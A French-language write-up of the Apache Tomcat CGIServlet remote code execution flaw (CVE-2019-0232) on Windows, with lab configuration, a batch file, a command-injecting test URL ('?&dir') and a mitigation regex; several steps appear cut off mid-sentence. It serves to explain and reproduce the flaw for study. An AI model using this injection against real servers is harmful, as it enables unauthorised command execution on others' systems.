
Analyse de vulnérabilité et PoC pour Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (RCE)
Analyse de la vulnérabilité et PoC pour Apache Tomcat - CGIServlet enableCmdLineArguments Exécution de code à distance (RCE)
Vidéo PoC disponible à l'adresse https://www.youtube.com/watch?v=RA7kzuHOWqA
Apache Tomcat présente une vulnérabilité dans le servlet CGI, qui peut être exploitée pour réaliser une exécution de code à distance (RCE). Cette vulnérabilité n'est exploitable que sur Windows avec une configuration non par défaut combinée à des fichiers batch. Common Gateway Interface (CGI) est un protocole standard permettant aux serveurs web d'exécuter des programmes/scripts en ligne de commande via des requêtes web. Ce protocole permet également de passer des arguments en ligne de commande au script ou programme exécuté via les paramètres d'URL. Le protocole lui-même est défini dans la RFC 3875. Lorsqu'il est exécuté sur Windows avec enableCmdLineArguments activé, le servlet CGI d'Apache Tomcat est vulnérable à une RCE en raison d'un bug dans la manière dont le JRE transmet les arguments de ligne de commande à Windows. Le servlet CGI est désactivé par défaut. L'option CGI enableCmdLineArguments est désactivée par défaut dans Tomcat 9.0.x (et sera désactivée par défaut dans toutes les versions en réponse à cette vulnérabilité).
Vidéo PoC disponible à l'adresse https://www.youtube.com/watch?v=RA7kzuHOWqA
a. Modifiez le fichier conf/context.xml et définissez <Context privileged="true">

b. Effectuez les modifications suivantes dans le fichier /conf/web.xml près des lignes 366 et 420, respectivement.

enableCmdLineArguments doit être défini sur True car nous utilisons Tomcat 9.
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
webapps\ROOT\WEB-INF\cgi et ajoutez un fichier ism.bat avec le contenu suivant :
@echo off
echo Content-Type: text/plain
echo .
http://localhost:8080/cgi/ism.bat?&dir pour vérifier si le serveur fonctionne.
cve-2019-0232.py en y ajoutant l'adresse IP et le port du serveur.
Lien vers la vidéo PoC : https://www.youtube.com/watch?v=RA7kzuHOWqA
[[a-zA-Z0-9\Q-_.\\/:\E]+] pour empêcher l'entrée d'être exécutée en tant que commandes sur les systèmes Windows.